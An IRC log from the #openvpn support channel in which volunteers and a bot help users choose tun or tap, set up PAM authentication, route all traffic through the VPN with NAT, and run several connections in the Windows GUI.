16:08 <@krzee> oh ok, your switch will not have an address in the vpn subnet
16:09 <@krzee> well i mean it can be done like that, but if you have no reason to be bridging already then dont do it
16:09 <@krzee> !whybridge
16:09 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
16:09 <@krzee> !tunortap
16:09 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning
16:09 <@vpnHelper> against you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:10 -!- Denial [Denial@2.223.161.125] has quit []
16:10 <@krzee> so, if you will be using tun (normally the right choice) then your server will handle addressing for the vpn
16:10 <@krzee> and you may assign addresses in different subnets for different clients if you choose
16:10 < shuggans> I need them to be able to browse windows shares - I don't want to implement WINS.
16:10 <+pekster> Use DNS as it was intended
16:11 <@krzee> they can browse by ip without wins
16:11 <+pekster> They can browse by DNS without WINS too
16:11 <@krzee> and dns can translate host to IP
16:11 <+pekster> DNS is L3, and so is CIFS. Conclusion: Windows shares don't need OSI L2
16:11 < shuggans> We have alot of client/server setups that require to browse via hostname
16:11 <+pekster> And, lucky you, DNS translates hostnames into IPs
16:11  * krzee points above to what pekster said
16:12 < shuggans> lol - I know.
16:12 <+pekster> So what's the problem?
16:12 <+pekster> No WINS, and hostname resolution
16:12 <@krzee> :D
16:12 < shuggans> (#2) and if your reason for wanting tap is windows shares, see !wins or
16:12 <+pekster> That's outdated really
16:12 <+pekster> WINS is for people who have no clue how DNS works
16:13 <@krzee> !forget tunortap *
16:13 <@vpnHelper> Joo got it.
16:13 < shuggans> lol - ok.
16:13 <@krzee> !learn tunortap as you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun.
16:13 <@vpnHelper> Joo got it.
16:13 <@krzee> !learn tunortap as and if your reason for wanting tap is windows shares, see !wins or use DNS
16:13 <@vpnHelper> Joo got it.
16:14 < shuggans> So, with tun I can have my existing dhcp server serve IPs?
16:14 <+pekster> No
16:14 <@krzee> !learn tunortap as remember layer2 has no security, arp poisoning works over tap vpns
16:14 <@vpnHelper> Joo got it.
16:14 <+pekster> You can't have that for a large number of reasons, the least of which is that you CANNOT pass a default gateway to clients or you _will_ break things
16:14 <@krzee> !learn tunortap as lan gaming? use tap!
16:14 <@vpnHelper> Joo got it.
16:14 <@krzee> !learn tunortap as Normal Android/iOS devices (not rooted/jailbroken) support only tun
16:14 <@vpnHelper> Joo got it.
16:14 <@krzee> !tunortap
16:14 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not
16:14 <@vpnHelper> rooted/jailbroken) support only tun
16:15 <@krzee> there you go shuggans
16:15 <+pekster> now technically you can do really stupid things like a DHCP proxy on a routed tap setup, or a bridge setup with a server-side DHCP server if (and _ONLY_ if) the DHCP server is aware of how to identify VPN clients and _not_ give them a default gateway (the routers DHCP options.)
16:15 <+pekster> If you do not undersatnd (as in fully, completely, expertly) understand any part of that, don't do it.
16:15 < shuggans> So best to define the .12.x subnet in the firewall and let it handle dhcp ?
16:15 <@krzee> no lol
16:15 <@krzee> you been paying attention?
16:15 <+pekster> openvpn doens't use DHCP, though it fakes it on WIndows
16:16 <@krzee> let the openvpn server handle addressing for the vpn clients
16:16 <+pekster> OpenVPN _completely_ manages IPs given to clients itself. Do _not_ messs with that unless you are an expert and know what you're doing
16:16 <+pekster> (and since you're here, I'm going to conclude that you are not)
16:16 < shuggans> I am new to implementing VPN.
16:17 <@krzee> right, so let the openvpn server handle addressing for the vpn clients
16:17 <@krzee> thats the path without dragons
16:17 < shuggans> so remove the bridge interface in pfsense, start over, go the TUN route?
16:17 <@krzee> yep
16:18 <@krzee> and thats why i hate hate hate google walkthrough results for openvpn
16:18 <@krzee> !walkthrough
16:18 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
16:18 <@krzee> :D
16:18 <+pekster> Also, stop using "3 howtos" or whatever you referenced before. The !howto is what you start wiwth, then when you have basic connectivity, proceed to !serverlan
16:18 <@krzee> ^^^ that
16:20 < shuggans> lol - let me try this.
16:24 < shuggans> So I should be able to get rid of the SVI in the l3 switch too, correct?
16:27 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-blbbrqapmzjwgmze] has joined #openvpn
16:27 -!- wildcat [~tomh@unaffiliated/wildcat] has joined #openvpn
16:28 -!- master_of_master [~master_of@p4FD7B963.dip0.t-ipconnect.de] has joined #openvpn
16:28 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:31 -!- master_o1_master [~master_of@p4FF24AEE.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
16:34 <+pekster> How you route your server-side LAN is of no concern to OpenVPN so long as traffic comes/goes as required
16:36 < shuggans> Well my tunnel subnet is now 10.126.12.0/24
16:36 < shuggans> I have an SVI in the core router as 10.126.12.0/24
16:37 < shuggans> I have an SVI in the core router as 10.126.12.1/24 *
16:37 < shuggans> Okay - so Got this up, connected etc with TUN.  Got an IP of 10.126.12.0/24 with no gateway
16:37 < shuggans> !man
16:38 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
16:39 <+pekster> Stop using Cisco-isms to talk about your network topology
16:40 <+pekster> I don't care one bit if you're using SVI, RFC1149, or tolken-ring networking. I do care how your logical L3 layout is. Do _not_ give the VPN network range to any of your devices on the downstream LAN
16:40 <+pekster> That is a mistake
16:40 <+pekster> If your VPN network is 10.126.12/24, it will exist only on the VPN and _nowhwere_ else. Not on your Cisco, not on a router, not on a VM network; no where
16:42 < shuggans> okay - removed
16:42 <+pekster> You'll need routes to it of course, but that's covered in !serverlan. You won't even get that far until you have a functioning VPN though
16:43 < shuggans> I can authenticate and connect
16:43 <+pekster> If your client can ping (and get a reply from) the server's VPN IP, then you start with the flowchart in !serverlan
16:45 < shuggans> no reply
16:45 < shuggans> assuming the server's IP is 10.126.12.1 ?
16:48 < shuggans> Or does it just share pfsense's IP?
16:50 <+pekster> If you're using --server the server will take the first usable IP in the network (ending in .1 if you're using a /24.) Otherwise you will have manually configured it with --ifconfig
16:52 < shuggans> yep - no ping then.
16:52 <+pekster> Then you have screwed up the VPN setup or the firewall
16:52 <+pekster> You are following the howto, yes? http://openvpn.net/index.php/open-source/documentation/howto.html#start
16:52 <@vpnHelper> Title: HOWTO (at openvpn.net)
16:52 <+pekster> That section tells you exactly what you should be doing at this stage
16:52 <+pekster> If you haven't followed that howto, go follow it
16:52 <+pekster> (starting way before here)
16:54 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 265 seconds]
16:59 -!- mac [~mac@unaffiliated/mac] has joined #openvpn
17:10 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:10 -!- shuggans_BOT [~shuggans@ucomdsl-68-70-40-153.ucom.net] has joined #openvpn
17:11 -!- shuggans [~shuggans@ucomdsl-209-203-170-50.ucom.net] has quit [Ping timeout: 240 seconds]
17:12 -!- xeqution is now known as Z6
17:12 -!- Z6 [~z6@unaffiliated/z6] has quit []
17:13 -!- Z6 [~z6@unaffiliated/z6] has joined #openvpn
17:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:20 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
17:25 -!- shuggans [~shuggans@ucomdsl-209-203-170-50.ucom.net] has joined #openvpn
17:25 < shuggans> ah nevermind
17:25 < shuggans> It threw me a different IP.
17:26 < shuggans> I can actually ping in all subnets :)
17:27 -!- shuggans_BOT [~shuggans@ucomdsl-68-70-40-153.ucom.net] has quit [Ping timeout: 246 seconds]
17:28 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
17:30 -!- Devastator [~devas@186.214.15.39] has quit [Changing host]
17:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:34 -!- valent__ [~valent@141-136-226-198.dsl.iskon.hr] has quit [Quit: Leaving]
17:43 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Quit: If you see this, my dogfood was poisoned]
17:44 -!- u0m3_ [~u0m3@92.80.102.13] has joined #openvpn
17:44 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
17:47 -!- u0m3 [~u0m3@109.96.137.96] has quit [Ping timeout: 260 seconds]
17:47 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
17:49 < doug[home]> krzee: sup doe
17:59 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:59 -!- mode/#openvpn [+v s7r] by ChanServ
18:15 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
18:15 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Read error: No route to host]
18:15 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
18:26 -!- dazo is now known as dazo_afk
18:41 -!- esde [~esde@unaffiliated/esde] has quit [Remote host closed the connection]
18:49 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
18:49 < Matviy> Hello! I'm having lots of trouble understanding openVPN
18:50 < Matviy> Are there separate server and client components to openVPN?
18:50 <+pekster> Nope. More info here:
18:50 <+pekster> !download
18:50 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of
18:50 <@vpnHelper> openvpn (only thing supported here) there is no separate download for client/server, it is the same install with different configs
18:50 < Matviy> great
18:51 < Matviy> The way i understand it, i need to pay for licenses to be able to get multiple people connecetd to my VPN at once?
18:51 <+pekster> Not with OpenVPN, no
18:51 <+pekster> If you use the non-free Corporate offering, yes, but that is _NOT_ OpenVPN: it's an a commercial "wrapper" around openvpn
18:51 <+pekster> OpenVPN is and always will be free to use. Please see a wordier version of what I just said here: https://forums.openvpn.net/post34969.html#p34969
18:52 <@vpnHelper> Title: OpenVPN Support Forum Multiple clients, the purpose is? : Off Topic, Related (at forums.openvpn.net)
18:52 < Matviy> thank you very much
18:52 < Matviy> One last thing
18:52 <+pekster> If you have mistakenly downloaded the non-Free products, please consult the links in that forum post for the free (for as many clients as you want!) GPL builds
18:53 < Matviy> Can OpenVPN be setup with a simple username/password setup?
18:53 <@krzee> !authpass
18:53 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
18:54 < Matviy> i love you guys
19:03 < Matviy> Could i offer someone in this channel money to setup OpenVPN for me? Or is that against the rules?
19:06 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has joined #openvpn
19:07 < stones_> Hi guys. I setup OpenVPN on 2 servers (Debian) ... one server allows me to connect via username and password but the other server doesnt seem to work
19:07 <+pekster> stones_: "allows you to" ?? Didn't you configure it?
19:07 < stones_> Could someone kindly help me figure out what im doing wrong? I've reinstalled several times and tried starting from scratch but no go
19:07 <+pekster> To start with, are you using OpenVPN? Please note that "Access Server" is _NOT_ OpenVPN
19:08 < stones_> pekster yes, i setup openvpn on one small box i had the same way locally and it works fine (internally and externally)
19:08 < stones_> then I tried the identical steps on a server in a datacenter but its not connecting for some reason
19:08 < stones_> tried with both PAM and certs
19:09 <+pekster> So you're not using Access Server, then? With OpenVPN, unless _you_ configured it to do user/pass auth, the traditional TLS mode uses X509-based certificates
19:09 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
19:09 < stones_> yes, I did an 'apt-get install openvpn"
19:10 <+pekster> k, just checking (lots of people assume AS is openvpn.) So what is the end-goal here?
19:10 < stones_> pekster, yes thats what I thought but as far as I know on the local server i didn't configure it for PAM but it seems to work fine with username/password. All I did was add "auth-user-pass' in the local client config
19:10 < stones_> well pretty much im trying to just get it working at this point with a basic config
19:11 < stones_> then, Ill tweak and customize it once I can connect
19:11 < stones_> the weird part is i setup the local server identical to the way i did the remote server (raspberry pi)
19:11 < stones_> but its not working on the remote server
19:12 <+pekster> You might like to read some of the info here:
19:12 <+pekster> !authpass
19:12 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
19:12 < stones_> http://pastebin.com/Gh5ju3c3
19:12 <+pekster> Note that if you want to use only user/pass (without client-side certs/keypairs) you need to use --client-cert-not-required; without that, the default server-side TLS setup requires certs
19:12 < stones_> this is what i see in the status log
19:12 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
19:13 <+pekster> That's not very useful; it just means no clients are connected
19:13 < stones_> pekster yes, i read that and also read about the plugins etc
19:13 < stones_> which log should i be looking at? please forgive me in advanced. im willing to read but don't have much experience with it
19:13 <+pekster> So "what" is not working, exactly?
19:13 < stones_> so the technical terms kinda hold me back
19:13 < stones_> when I start the server... i am unable to connect to it from my laptop using the openvpn software.
19:14 <+pekster> You should start by putting your config files from the server & client on a pastebin somewhere, ideally with comments removed. See:
19:14 <+pekster> !configs
19:14 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:17 < stones_> here you go: http://pastebin.com/uKWQeBPT
19:17 < stones_> Linux nj 2.6.32-348.4.1.el5.028stab107.1 #1 SMP Wed Apr 17 19:37:50 MSD 2013 i686 GNU/Linux
19:20 < stones_> everything is pretty basic
19:20 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
19:21 < stones_> the weird thing with the local server that works with PAM auth is I didn't configure it to authenticate that way.. it just seemed to work. Not sure how that happened.
19:22 -!- Z6 [~z6@unaffiliated/z6] has quit [Ping timeout: 260 seconds]
19:25 < stones_> pekster?
19:29 <+pekster> (just migrated to my laptop for the evening .. give me a bit to grok the configs)
19:31 < stones_> thanks
19:32 <+pekster> So, for starters, that server config does not auth against any backend database, including PAM
19:33 <+pekster> Such a setup will _require_ every client to have a valid X509 certificate and matching private key
19:33 < stones_> yes i figured that
19:33 < stones_> i didn't want any fancy authentication process so wasnt sure which one to use
19:33 <+pekster> 2nd, openvpn never "magically" supports PAM; it must explicitly be told to use PAM with a plugin line
19:33 < stones_> but heres the thing
19:33 < stones_> this exact configuration on my local server works with PAM
19:33 < stones_> im not sure why
19:34 < stones_>  plugin /usr/lib/openvpn/openvpn-auth-pam.so login
19:34 < stones_>     client-cert-not-required
19:34 < stones_>     username-as-common-name
19:34 < stones_> would this work?
19:34 < stones_> i just want it so when i want to add a client i just add a user on the server thats it
19:34 <+pekster> Right, assuming you have the PAM plugin available and wish to use the 'login' PAM module to auth users
19:36 < stones_> ok i enabled that in the conf now but still the same issue
19:36 < stones_> it just hangs at "Connecting" and does nothing
19:37 <+pekster> You'd need to un-comment the `user-auth-pass` line in your client config, then also comment-out the `cert` and `key` lines that you won't be using
19:37 < stones_> ahh
19:37 <+pekster> Leave the `ca` line as the client still needs to validate the server-cert against the CA
19:37 < stones_> ok, one sec
19:38 <+pekster> That works more like any "traditional website with https" works -- your client verifies the server-cert is valid agaist its trusted CA root cert, then supplies credentials over a forward-secret TLS channel
19:38 < stones_> gotcha
19:39 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:39 < stones_> the dh line do i need that?
19:39 < stones_> or comment it out?
19:39 < stones_> dh1024?
19:39 <+pekster> Not on the client; the server needs dh in a TLS setup
19:41 < stones_> when i comment the ca lines out on the server side openvpn fails to start
19:41 < stones_> or did you mean on the client side?
19:42 <+pekster> Client side, right
19:42 < stones_> ok
19:42 <+pekster> The server in a multi-client setup needs all of: --ca --cert --key & --dh params
19:43 < stones_> wow, there we go!
19:43 < stones_> you rock! ;) ive been trying to fix this for several days now.. heh
19:43 < stones_> so i wonder why my older setup didn't work?
19:43 < stones_> and for some reason i could NEVER get openvpn to work with certificates
19:44 < stones_> hmm seems like its connected but i cant browse any websites
19:47 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has quit []
19:48 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has joined #openvpn
19:48 < stones_> pekster did you see my last message?
19:48 < stones_> its letting me connect now and assigns an ip but i cant seem to browse any websites or anything
19:49 <+pekster> What is your goal here?
19:49 <+pekster> Do you intend to route all your traffic across the VPN?
19:50 <+pekster> If that's the goal here, see the bot's reply to: !redirect
19:50 <+pekster> (it's got a useful flowchart for you)
19:51 < stones_> yes i want all traffic to go through the vpn
19:51 < stones_> do most people use the vpns bandwidth?
19:51 < stones_> i want my ip to show my servers ip, not my actual isp ip address for everything.
19:55 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has quit []
19:55 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has joined #openvpn
19:55 < stones_> yes, when i connect to the vpn i cant do anything. I can only reach the remote VPN server and thats it.
19:57 <+pekster> Sounds like you want:
19:57 <+pekster> !redirect
19:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:57 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:57 <+pekster> stones_: Though don't start with that until you can successfully ping your VPN server from the VPN client after you connect
19:57 <+pekster> If you're there already, great, proceed with the flowchart
19:58 < stones_> i think i had that specified
19:58 <+pekster> Sounded like it, I'm just verifying
19:58 < stones_> yeah
19:58 < stones_> do you think its iptables?
19:59 < stones_> i mean i know i added a rule as well
19:59 < stones_> push "redirect-gateway def1"
19:59 < stones_> i have this in my conf
19:59 <+pekster> That's one of many several things you need properly configured, yes
19:59 <+pekster> Have you gone through the flowchart?
19:59 <+pekster> It explains all of this (and your question leads me to believe you haven't bothered to read the useful resources I linked you to.)
20:00 < stones_> yes
20:00 < stones_> how do i enable nat?
20:00 < stones_> on the pvn?
20:00 < stones_> vpn*
20:00 <+pekster> !linnat
20:00 < stones_> i can ping the vpn server but not googles name servers
20:00 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
20:01 < stones_> right, i did that as well
20:01 -!- shuggans [~shuggans@ucomdsl-209-203-170-50.ucom.net] has quit [Ping timeout: 244 seconds]
20:01 <+pekster> So use of MASQUERADE (or optionally SNAT) on the VPN network across your uplink (egress) interface does source-NAT
20:01 <+pekster> That's required anytime you route from RFC1918 (aka "private") IP space to the public Internet
20:01 < stones_> this is the command i ran
20:02 < stones_>  iptables -t nat -A POSTROUTING -s 10.0.0.0/8 ! -d 10.0.0.0/8 -o eth0 -j MASQUERADE
20:02 < stones_> oh wait a second
20:02 < stones_> this is a virtual server... i dont have an eth0
20:02 < stones_> id assume thats the problem?
20:02 <+pekster> Given that rule, yes. `ip addr show` will show you interface and addressing on modern Linux
20:03 <+pekster> Also, don't use 10/8
20:03 < stones_> venet0:0
20:03 < stones_> no?
20:03 <+pekster> Use the /24 you're using on the VPN server
20:03 <+pekster> And really don't use a /8 on your VPN (that's insane)
20:03 <+pekster> Also, your interface is _NOT_ venet0:0
20:03 < stones_> venet0 = 127.0.0.1
20:03 < stones_> venet0:0 = my first external/public ip
20:03 <+pekster> The : is an "alias" and those are _NOT_ interfaces
20:03 < stones_> should I use venet0?
20:04 <+pekster> Yes. ifconfig is a pile of shit on modern Linux; don't use them
20:04 <+pekster> !ifconfig_linux
20:04 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
20:04 < stones_> ok, that was the default
20:04 <@EugeneKay> You should stop using fucking OpenVZ
20:04 <+pekster> Well, that too
20:04 <+pekster> You might run into other issues. Details here stones_ :
20:04 <+pekster> !openvz
20:04 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
20:04 < stones_> thanks pekster
20:04 < stones_> yeah i think i will end up switching to xen
20:04 < stones_> just wanted to play with it for now
20:05 < stones_> which interfact do i put there?
20:05 -!- Carbon_Monoxide [~cmonxide@14.0.143.88] has joined #openvpn
20:05 < stones_> venet0 or venet0:0?
20:05 < stones_> venet0 = 127.0.0.1 so im kind of confused
20:06 -!- Carbon_Monoxide [~cmonxide@14.0.143.88] has left #openvpn []
20:07 < stones_> there we go
20:08 < stones_> i had to add the rule to venet0
20:10 -!- stones_ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has quit []
20:10 -!- stones_ [~blits@209.159.155.83] has joined #openvpn
20:10 < stones_> pekster thanks, i got it now.
20:11 < stones_> Another question I had was.. I have a local openvpn server setup at my office which I connect from home to
20:11 < stones_> Both locations have the 192.168.1.* subnet.. should I change them to different subnets?
20:12 < stones_> or would i have ip conflicts? i want them both to act as ONE network
20:12 < stones_> also i use VNC to remotely log in to my computer at the office (via openvpn)
20:12 < stones_> sometimes when logged in remotely... i want to print a document in the remote session to my local (home) printer... is this possible with openvpn?
20:17 <@EugeneKay> openvpn is just a tool to bring up network connections, and possibly add routes
20:17 <@EugeneKay> This sounds like a XY problem
20:17 <@EugeneKay> !goal
20:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
20:23 < stones_> Gotcha
20:23 < stones_> well pretty much i want to join both networks so i can access all network devices at my office and when at my office access all network devices at my house
20:23 < stones_> if that makes any sense?
20:27 < stones_> also when using openvpn do i use the bandwdith of the vpn server or my local bandwidth/speed?
20:27 < stones_> sorry about all the questions doing as much reading as possible but some of this is complicated
20:29 <+pekster> Sounds like you want to route between both networks; you do not (generally) want both networks to be "the same"
20:30 < stones_> yeah whichever is safer
20:30 <+pekster> I assume you control (have admin/root access to) the network equipment at each LAN currently?
20:30 < stones_> but i wont to be able to access both networks vice versa
20:30 < stones_> yep
20:31 < stones_> another thing i was wondering was is it possible to connect to two vpn networks at once?
20:31 < stones_> for example, the one i am connected to right now is my remote server located in a datacenter... but what about when i need to access devices at my office?
20:32 <+pekster> Connect to another one
20:32 < stones_> how? using the openvpn software it doesn't allow me to
20:32 <+pekster> So long as you don't use the same network addressing across 2 unique VPNs, there's no limit to how many you can connect
20:32 <+pekster> OpenVPN supports it fine; what OS are you on?
20:33 < stones_> windows
20:33 < stones_> but when i have the client open and connect to one i have that status window open that says im connected
20:33 < stones_> Server IP, client ip, etc
20:33 <+pekster> For Windows, you need to go into start -> TAP-Win32 -> Utilities -> Add Tap Adapter
20:33 < stones_> and the only option i have is to disconnect
20:33 <+pekster> Each VPN requires a virtual tap adapter, and you need as many tap devices as you intend to connect concurrent VPns
20:34 <+pekster> Besides that, just put a 2nd .ovpn config file into your config directory and the OpenVPN GUI (under Windows) allows you to independently connect/disconnect any of them
20:34 <+pekster> Please see the wiki page here for moreinfo:
20:34 <+pekster> !gui
20:34 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
20:34 < stones_> hmm i dont see  a tap-win32
20:36 -!- stones__ [~blits@pool-71-167-34-174.nycmny.fios.verizon.net] has joined #openvpn
20:36 < stones__> yep, i put another .ovpn file but still the same thing with my client
20:36 < stones__> only option i have is to disconnect and i dont see tap-win32 on my system
20:39 -!- stones_ [~blits@209.159.155.83] has quit [Ping timeout: 265 seconds]
20:54 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
21:15 <+pekster> stones__: You'll see the GUi menu give you a 2nd option to connect with your new configuration if you named the file properly
21:16 <+pekster> The file must end in ".ovpn" -- be careful because Windows likes to hide the extension for "known extensions" -- people sometimes accidently name a file sample.ovpn.txt
21:20 -!- shuggans [~shuggans@108.92.103.8] has joined #openvpn
21:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ptjobpseoxoerifo] has joined #openvpn
21:47 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ptjobpseoxoerifo] has quit [Client Quit]
21:50 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
21:51 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
21:51 -!- P4k3_ [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
21:52 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
21:52 -!- WinstonSmith_ [~WinstonSm@bl5-137-208.dsl.telepac.pt] has joined #openvpn
21:52 -!- Netsplit *.net <-> *.split quits: Fetch, WinstonSmith, Corey, P4k3, Chrisje, Olipro, marlinc, Thermi, NET||abuse, Hazza,  (+3 more, use /NETSPLIT to show all of them)
21:52 -!- P4k3_ is now known as P4k3
21:53 -!- Netsplit over, joins: Thermi
21:53 < stones__> pekster yes, when i click on the file it opens but in the same window
21:53 <+pekster> "click on the file" ?
21:54 -!- Netsplit over, joins: Corey
21:54 <+pekster> Are you using the right-click menu on the OpenVPN GUI for Windows, near your clock?
21:54 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
21:54 < stones__> are you sure it should work that way?
21:54 < stones__> yes
21:54 < stones__> im clicking on the client file that im creating
21:55 <+pekster> You don't "click a file" to use the GUI
21:55 < stones__> when i double click the file it opens the gui
21:55 < stones__> ..
21:55 <+pekster> OpenVPN for Windows will let you start a valid .ovpn config file in a command prompt from the context menu though
21:55 < stones__> you said to create a second .ovpn file
21:55 < stones__> ok im confused
21:55 <+pekster> Yes, do that, then put it in your <install_path>\config\ folder
21:55 < stones__> should i be using the command prompt or the gui?
21:55 <+pekster> Did you read the wiki page in !gui I linked you to?
21:55 <+pekster> What would you like to use?
21:55 <+pekster> You can use either
21:56 < stones__> Id prefer to use the GUI
21:57 <+pekster> Then follow the instructions at the wiki page
21:57 <+pekster> I wrote that page myself, and it includes step-by-step screenshots for usage
21:58 < stones__> my client files are on my desktop
21:58 < stones__> ok
21:58 <+pekster> That is not correct
21:58 <+pekster> Please _read_ the link I sent you
21:58 < stones__> yes
21:58 < stones__> checking now
21:58 <+pekster> Stop bugging me until you have, becuase you look lazy for not doing so
21:58 <+pekster> !gui
21:58 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
21:58 < stones__> i may have missed that link
21:59 <+pekster> Well, there it is again
21:59 < stones__> pekster, no i apologize.. i must have been away and didn't see you provide a link
21:59 < stones__> im going to read it now
22:00 < stones__> Ok i can already tell im using the wrong app
22:00 < stones__> im using a different app
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 <+pekster> Sounds like you accidently downloaded the non-free (non-GPL) "Connect" software. You should download the OpenVPN program: direct links at !download
22:02 < stones__> yes, i think thats what i did
22:02 < stones__> thats why i couldn't make sense of what you were saying ;)
22:02 < stones__> is the free GPL version better?
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 <+pekster> The GPL version is open source and does not involve server-side licensing fees
22:03 <+pekster> The commercial version comes with some level of support provided by the vendor you purchased through, as well as some "value-add" features. This channel is for discussion/help with OpenVPN, not commercial solutions
22:04 < stones__> weird i downloaded this from openvpn.net I believe
